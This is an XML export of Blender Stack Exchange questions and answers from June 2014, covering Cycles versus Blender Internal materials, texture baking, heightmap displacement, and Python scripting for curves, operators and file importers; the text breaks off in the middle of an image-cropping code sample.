  <row Id="13492" PostTypeId="2" ParentId="10970" CreationDate="2014-06-25T18:34:37.420" Score="3" Body="&lt;p&gt;You can enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System#International_Fonts&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;International Fonts&lt;/em&gt;&lt;/a&gt; in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; System&lt;/em&gt; to display special characters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PmFoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-25T18:34:37.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13493" PostTypeId="1" AcceptedAnswerId="13497" CreationDate="2014-06-25T19:20:35.230" Score="0" ViewCount="1300" Body="&lt;p&gt;My problem is that I have made a in Blender render a plane with grass texture and I have made some rocks in a separate blender file with Cycles render. The problem is that when I do BR then it renders only the plane and the rocks are plain grey and when I do CR then the plane is grey but the rocks are looking good. Hopefully somebody can help me quick how to solve this issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video I used to do the rocks:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=xRDFMYfsIcU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=xRDFMYfsIcU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4961" LastEditorUserId="2217" LastEditDate="2014-06-25T19:57:30.703" LastActivityDate="2014-06-25T20:23:55.133" Title="How to render a scene with Cycles render and blender internal" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2014-06-26T04:15:21.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="13496" PostTypeId="2" ParentId="13484" CreationDate="2014-06-25T19:59:55.793" Score="4" Body="&lt;p&gt;Based on the answer linked by Seppo Silaste I have come up with the following example code which you can modify to fit your application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def hookCurve(o1, o2, scn):&#xA;    curve = bpy.data.curves.new(&quot;link&quot;, 'CURVE')&#xA;    spline = curve.splines.new('BEZIER')&#xA;&#xA;    spline.bezier_points.add(1)&#xA;    p0 = spline.bezier_points[0]&#xA;    p1 = spline.bezier_points[1]&#xA;    p0.co = o1.location&#xA;    p0.handle_right_type = 'VECTOR'&#xA;    p1.co = o2.location&#xA;    p1.handle_left_type = 'VECTOR'&#xA;&#xA;    obj = bpy.data.objects.new(&quot;link&quot;, curve)&#xA;&#xA;    m0 = obj.modifiers.new(&quot;alpha&quot;, 'HOOK')&#xA;    m0.object = o1&#xA;    m1 = obj.modifiers.new(&quot;beta&quot;, 'HOOK')&#xA;    m1.object = o2&#xA;&#xA;    scn.objects.link(obj)&#xA;    scn.objects.active = obj&#xA;&#xA;    # using anything in bpy.ops is a giant pain in the butt&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;    # the mode_set() invalidated the pointers, so get fresh ones&#xA;    p0 = curve.splines[0].bezier_points[0]&#xA;    p1 = curve.splines[0].bezier_points[1]&#xA;&#xA;    p0.select_control_point=True&#xA;    bpy.ops.object.hook_assign(modifier=&quot;alpha&quot;)&#xA;&#xA;    p0.select_control_point = False&#xA;    p1.select_control_point = True&#xA;    bpy.ops.object.hook_assign(modifier=&quot;beta&quot;)&#xA;&#xA;    return obj&#xA;&#xA;o1 = bpy.data.objects['atom 1']&#xA;o2 = bpy.data.objects['atom 2']&#xA;&#xA;obj = hookCurve(o1,o2, bpy.context.scene)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-06-26T14:11:10.800" LastActivityDate="2014-06-26T14:11:10.800" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13497" PostTypeId="2" ParentId="13493" CreationDate="2014-06-25T20:23:55.133" Score="2" Body="&lt;p&gt;The reason why you get gray a plane or rocks, is that materials are different in BI and Cycles, so to use, let's say Cycles, you have to &quot;port&quot; your materials (basicly remake them, with the tools availiable in the render engine); Since materials are different, when you switch between the renderers it applys a default materail to objects that don't have a propper one; That material just so happens to be gray. &#xA;So I don't think it's possible to mix them, without using the compositor and transparency.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-06-25T20:23:55.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13498" PostTypeId="2" ParentId="13491" CreationDate="2014-06-25T20:29:40.350" Score="1" Body="&lt;p&gt;Figured it out. I made multiple planes and assigned different textures to each, then changed the visibility of each plane based on the property.&lt;/p&gt;&#xA;" OwnerUserId="3584" LastActivityDate="2014-06-25T20:29:40.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13499" PostTypeId="2" ParentId="2050" CreationDate="2014-06-25T20:30:18.170" Score="0" Body="&lt;p&gt;A quick workaround is to import you blender .png alpha enabled animation frames into after effects instead of using blender to render out a movie with an alpha channel that may not be supported elsewhere to begin with. Let's say you finally find a codec that supports alpha and then you want to stream that movie, most viewers might have to download that codec before they could watch your video. That is not user friendly. &lt;/p&gt;&#xA;" OwnerUserId="4963" LastActivityDate="2014-06-25T20:30:18.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13501" PostTypeId="2" ParentId="13450" CreationDate="2014-06-25T21:22:41.847" Score="4" Body="&lt;p&gt;You get the area and the region from the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Context.html#bpy.types.Context&quot; rel=&quot;nofollow&quot;&gt;context&lt;/a&gt;&#xA;argument (passed to the invoke / execute / poll method of the operator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the operator's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Operator.html?highlight=bpy.types.operator#bpy.types.Operator.poll&quot; rel=&quot;nofollow&quot;&gt;poll&lt;/a&gt;&#xA;method to check for the right context. I.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@classmethod&#xA;def poll(cls, context):&#xA;    return context.area.type   == 'VIEW_3D' and \&#xA;           context.region.type == 'WINDOW'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just want to add: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Event.html#module-bpy.types&quot; rel=&quot;nofollow&quot;&gt;event class&lt;/a&gt;&#xA;also provides the attributes &#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Event.html#bpy.types.Event.mouse_region_x&quot; rel=&quot;nofollow&quot;&gt;mouse_region_x&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Event.html#bpy.types.Event.mouse_region_y&quot; rel=&quot;nofollow&quot;&gt;mouse_region_y&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.View2D.html#bpy.types.View2D&quot; rel=&quot;nofollow&quot;&gt;view2d class&lt;/a&gt; &#xA;provides methods to convert mouse coordinates from region coordinates to view coordinates&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy_extras.view3d_utils.html#module-bpy_extras.view3d_utils&quot; rel=&quot;nofollow&quot;&gt;bpy_extras.view3d_utils&lt;/a&gt;&#xA;module provides methods to deal with 3d-coordinates&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-06-25T22:59:24.463" LastActivityDate="2014-06-25T22:59:24.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13502" PostTypeId="1" CreationDate="2014-06-26T00:08:45.110" Score="2" ViewCount="135" Body="&lt;p&gt;I can't find the option to add a new object then new texture and image. I am trying to create a 3D map from a heightmap image.&lt;br&gt;&#xA;I have watched a few tutorials but the one that shows how to add a new object is for a different version with a different layout.&lt;/p&gt;&#xA;" OwnerUserId="4967" LastEditorDisplayName="user1853" LastEditDate="2014-06-26T04:32:20.117" LastActivityDate="2014-06-26T04:32:20.117" Title="How to add an object?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13503" PostTypeId="2" ParentId="13502" CreationDate="2014-06-26T00:09:46.413" Score="2" Body="&lt;p&gt;To add a new object, you can&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; in the 3D view and then select the object you want to add.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihmIS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Add&lt;/em&gt; at the bottom of the 3D view and then select the object you want to add.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BKnAz.png&quot; alt=&quot;Add menu&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-26T00:09:46.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13504" PostTypeId="1" AcceptedAnswerId="13505" CreationDate="2014-06-26T00:25:40.827" Score="0" ViewCount="949" Body="&lt;p&gt;What is the difference between using the attribute mode vs the texture coordinate node?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gfSvB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-26T00:39:19.900" Title="What is the difference between using an attribute node and texture Coordinate for a UV map?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13505" PostTypeId="2" ParentId="13504" CreationDate="2014-06-26T00:25:40.827" Score="1" Body="&lt;p&gt;&lt;strong&gt;There isn't really a difference&lt;/strong&gt;. The attribute node has a few advantages though:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It allows the use of more than one UV map. The texture Coordinate node uses only the UV map with the camera icon selected. &lt;/li&gt;&#xA;&lt;li&gt;It Contains the name, which can be useful for organizational purposes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their is also a UV map node coming into cycles, which will eliminate the need for both of theses methods.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-06-26T00:39:19.900" LastActivityDate="2014-06-26T00:39:19.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13506" PostTypeId="2" ParentId="13502" CreationDate="2014-06-26T00:56:00.063" Score="1" Body="&lt;p&gt;Firstly, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, or change the tab on the Toolbar to &quot;Create&quot; and then select the Plane primitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a mesh with a heightmap you will want to first subdivide it a couple of times by pressing &lt;kbd&gt;W&lt;/kbd&gt; and then selecting the Subdivide option. When you have pressed the Subdivide button you can either press &lt;kbd&gt;F6&lt;/kbd&gt; to bring up the options menu or make sure you have the toolbar activated (the one on the left) by pressing &lt;kbd&gt;T&lt;/kbd&gt;, both will provide you with the same resources. After you've pressed &lt;kbd&gt;F6&lt;/kbd&gt; or if you are looking at the bottom of the Toolbar you will see options for the subdivision menu. Crank up the number of cuts to something like 30-50, depending on the detail you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's done, go to the Modifiers panel (the wrench icon to the left hand side of the UI) and add a subsurf modifier (or press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;1&lt;/kbd&gt;/&lt;kbd&gt;2&lt;/kbd&gt;/&lt;kbd&gt;3&lt;/kbd&gt;depending on the level of subdivisions you want) to get even more detail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have added the subsurf modifier, add a Displace modifier. Press the New texture button and then click on the checkered board button in the same row as the wrench one. Once there, change the type to Image or Movie. After that you want to press the Open button and select your heightmap, and you should be set. If it is effecting your mesh too much, you can turn down the Strength parameter in the displace modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and if it isn't working, try to UV Unwrap your plane first. You do this by making sure you are in edit mode &lt;kbd&gt;Tab&lt;/kbd&gt; and then selecting everything with &lt;kbd&gt;A&lt;/kbd&gt;, and then press the &lt;kbd&gt;U&lt;/kbd&gt; button. Also make sure that the Subsurf modifier is at the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I didn't &quot;overanswer&quot; your question, and I also hope I formatted it okay. I'm new to the site! :)&lt;/p&gt;&#xA;" OwnerUserId="4959" LastEditorUserId="3127" LastEditDate="2014-06-26T04:19:03.343" LastActivityDate="2014-06-26T04:19:03.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13508" PostTypeId="1" AcceptedAnswerId="13509" CreationDate="2014-06-26T06:55:02.320" Score="34" ViewCount="158223" Body="&lt;p&gt;I created a interior scene and  i don't know how to bake a texture using cycles bake.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastEditorUserId="2217" LastEditDate="2014-07-29T00:24:14.400" LastActivityDate="2017-12-01T15:39:27.913" Title="How do I bake a texture using Cycles bake" Tags="&lt;cycles-render-engine&gt;&lt;workflow&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="32" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="2" ParentId="13508" CreationDate="2014-06-26T07:30:54.733" Score="63" Body="&lt;p&gt;With out more detail about the situation, it's hard to say how you might go about this if there are any special considerations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the basics:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/6755/599&quot;&gt;UV unwrap your object&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image in the &lt;em&gt;UV/image editor&lt;/em&gt; (&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt; or &lt;em&gt;Image &gt; New&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a texture node to the objects material(s) and select the new image. If there are more than 1 material repeat this for each one of them (easier to copy that Image Texture node and paste it into all materials):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMBxE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the texture node selected, press &lt;em&gt;bake&lt;/em&gt; in &lt;em&gt;Properties &gt; Render settings &gt; Bake&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zPewU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The color and shading on that object will be rendered to the image specified in the selected texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you switch to textured shading once this process is complete (for each object), the viewport will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ICwe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://blender.org/manual/render/cycles/baking.html&quot; rel=&quot;noreferrer&quot;&gt;the wiki&lt;/a&gt; for more detail about the various options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to bake multiple objects to the same image:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;UV Unwrap your objects in such a way so that the UV maps don't overlap. An easy way to do this is by pressing &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Smart UV unwrap&lt;/em&gt; or &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Lightmap pack&lt;/em&gt; with all the objects selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake each object with &lt;em&gt;Clear&lt;/em&gt; disabled so that the existing pixels in the target image aren't erased before the baked shading is overlayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PJejB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJejB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/261/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=261&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1245" LastEditDate="2017-12-01T15:39:27.913" LastActivityDate="2017-12-01T15:39:27.913" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="1" CreationDate="2014-06-26T08:29:39.453" Score="4" ViewCount="884" Body="&lt;p&gt;I am working on a Python script for a scene of a movie project where no Depth of Field is used by the active camera (no dof_distance neither dof_object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a character crossing the limits line of the camera and I need the character position or at least, the location of the first point which cross the line (red point on my illustration). Could someone help me find a solution ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I give you a simple illustration of my problem :&lt;img src=&quot;https://i.stack.imgur.com/vHFKW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4874" LastActivityDate="2016-06-16T19:11:41.710" Title="Get position of the first solid crossing limits line of a camera" Tags="&lt;python&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13511" PostTypeId="1" CreationDate="2014-06-26T08:43:11.887" Score="0" ViewCount="250" Body="&lt;p&gt;I am new to scripting for blender, so yeah, I need help for creating an animation with data from .xml files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Below is the snippet of the .xml code)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f5i1w.png&quot; alt=&quot;Below is the snippet of the .xml code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already managed to create the rig that contains all the bones with the corresponding names that my animations need to track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also new to this forum, and I hope this is not an unreasonable and atrocious question to ask around here. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I apologized for the vague details on my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the work I've done so far, I've extracted data from a xml file to create the following rig with scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2JEAT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, using the same xml file which also contains data for animations, I have to create the animation for the rig that I've done.&lt;/p&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="4970" LastEditDate="2014-06-26T09:44:45.093" LastActivityDate="2014-06-26T09:44:45.093" Title="How do I create animation with these data (snippet of xml file inside) and with scripting?" Tags="&lt;animation&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13512" PostTypeId="1" AcceptedAnswerId="13523" CreationDate="2014-06-26T09:00:43.253" Score="0" ViewCount="2882" Body="&lt;p&gt;I'm working on an import export addon, and while importing a skeleton I'm running into a wide variety of errors when importing the .skl skeleton file. They all point to the same place in my script though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class sklHeader():&#xA;    &quot;&quot;&quot;SKL header format:&#xA;    fileType       char[8]    8    version string&#xA;    numObjects     int        4    number of objects (skeletons)&#xA;    skeltonHash    int        4    unique id numbers&#xA;    numElements    int        4    number of bones&#xA;&#xA;    total size                20 bytes&#xA;    &quot;&quot;&quot;&#xA;&#xA;    def __init__(self):&#xA;        self.__format__ = '&amp;lt;8s3i'&#xA;        self.__size__ = struct.calsize(self.__format__)&#xA;        self.fileType = None&#xA;        self.numObjects = None&#xA;        self.skeltonHash = None&#xA;        self.numElements = None&#xA;&#xA;    def fromFile(self, sklFile):&#xA;        &quot;&quot;&quot;Reads the skl header object from the raw binary file&quot;&quot;&quot;&#xA;        sklFile.seek(0)&#xA;        fields = struct.unpack(self.__format__, sklFile.read(self.__size__))&#xA;        (fileType, self.numObjects, self.skeletonHash, self.numElements) = fields&#xA;        self.fileType = bytes.decode(fileType)&#xA;        #self.fileType = fileType&#xA;&#xA;    def toFile(self, sklFile):&#xA;        &quot;&quot;&quot;&quot;Writes the header object to a raw binary file&quot;&quot;&quot;&#xA;        data = struct.pack(self.__format__, self.fileType, self.numObjects, self.skeletonHash, self.numElements)&#xA;        sklFile.write(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;specifically all the errors are pointing to the same line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.fileType = bytes.decode(fileType)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I am getting a wide variety of errors most of them are invalid continuation bytes or invalid start bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UnicodeDecodeError: utf-8 codec can't decode byte 0xc3 in position 4&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0xd5 in position 2&#xA;&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0x98 in position 0&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0xc8 in position 0&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0xb8 in position 0&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0xa4 in position 0&#xA;UnicodeDecodeError: utf-8 codec can't decode byte 0xa8 in position 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the ones in position 0 are invalid start bytes&#xA;the others are invalid continuation bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it works fine, other times I get errors such as these. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The .py file this is in, is what actually opens the .skl file its another 200+ lines defining how to use the raw data&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Skl files have to be unicode or it wouldn't sometimes work correctly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4945" LastEditorUserId="4945" LastEditDate="2014-06-26T18:42:49.437" LastActivityDate="2014-06-26T19:02:46.860" Title="Seemingly random decoding errors" Tags="&lt;python&gt;&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13513" PostTypeId="1" AcceptedAnswerId="18211" CreationDate="2014-06-26T09:44:27.243" Score="3" ViewCount="972" Body="&lt;p&gt;I'm trying, with python, to get the color of a given particle in a simple particle system. So far, when I create a particle system, the particle get the color from where it's emitted, right? I can ask for it's position, orientation, and a lot of cool stuff.  But, do you know any way to get the color information? An average RGB will be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess one way could be through the UV of the emitter?&lt;/p&gt;&#xA;" OwnerUserId="4925" LastEditorUserId="1112" LastEditDate="2014-06-26T18:57:32.837" LastActivityDate="2014-10-26T18:36:18.477" Title="How to get the color of a particle with Python?" Tags="&lt;python&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13514" PostTypeId="2" ParentId="13486" CreationDate="2014-06-26T10:21:13.443" Score="3" Body="&lt;p&gt;This is because the armature modifier is not taken into account (this is &lt;a href=&quot;https://developer.blender.org/T40680#10&quot; rel=&quot;nofollow noreferrer&quot;&gt;intended behavior&lt;/a&gt;), so the pivot point is at the non modified location of the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This becomes obvious when toggling &lt;em&gt;Modified edit cage&lt;/em&gt; (the triangle icon on the modifier):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3IkXs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things more manageable, try disabling the modifier in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uYPuJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/12310/599&quot;&gt;Why is vertex snapping with auto merge enabled not merging vertices?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-26T10:27:05.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13515" PostTypeId="2" ParentId="12373" CreationDate="2014-06-26T11:17:21.093" Score="8" Body="&lt;p&gt;The answer to this is basically the same as &lt;a href=&quot;https://blender.stackexchange.com/q/2612/599&quot;&gt;Is it possible to use the output of a Renderlayer in the material nodes of another RenderLayer?&lt;/a&gt;, except you must render the first frame repeatedly until the replicated images of the render are smaller than can be seen (this of course depends on the resolution)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've thought about this, and as far as I can tell, there is really no true way around it using compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that this is a feedback loop; &#xA;The rendered result depends on the lighting, which is affected by the texture of the rendered result, which is affected by the lighting, which is affected by the rendered result, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you can do is try and make the initial render a reasonably close approximation of how it will look after enough iterations have been done to make it appear infinite (i.e. emitting bright pink doesn't help). This way it will look &quot;good enough&quot; in fewer iterations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the setup in &lt;a href=&quot;https://blender.stackexchange.com/a/2613/599&quot;&gt;my other answer&lt;/a&gt;, rendering a single frame will write a file via file output node which will then be read by an image sequence node in material nodes the next time the scene is rendered. So all you have to do is press &lt;kbd&gt;F12&lt;/kbd&gt; repeatedly..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/4479/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=4479&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/CandidHiddenAmericantoad#?speed=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/CandidHiddenAmericantoad.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automate pressing &lt;kbd&gt;F12&lt;/kbd&gt;, you could render an &quot;animation&quot; where nothing changes for as many frames as you want iterations.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-02-02T08:27:09.367" LastActivityDate="2018-02-02T08:27:09.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="2" ParentId="13422" CreationDate="2014-06-26T12:07:53.440" Score="5" Body="&lt;h1&gt;Function to crop an image:&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def crop_image(orig_img, cropped_min_x, cropped_max_x, cropped_min_y, cropped_max_y):&#xA;    '''Crops an image object of type &amp;lt;class 'bpy.types.Image'&amp;gt;.  For example, for a 10x10 image, &#xA;    if you put cropped_min_x = 2 and cropped_max_x = 6,&#xA;    you would get back a cropped image with width 4, and &#xA;    pixels ranging from the 2 to 5 in the x-coordinate&#xA;&#xA;    Note: here y increasing as you down the image.  So, &#xA;    if cropped_min_x and cropped_min_y are both zero, &#xA;    you'll get the top-left of the image (as in GIMP).&#xA;&#xA;    Returns: An image of type  &amp;lt;class 'bpy.types.Image'&amp;gt;&#xA;    '''&#xA;&#xA;    num_channels=orig_img.channels&#xA;    #calculate cropped image size&#xA;    cropped_size_x = 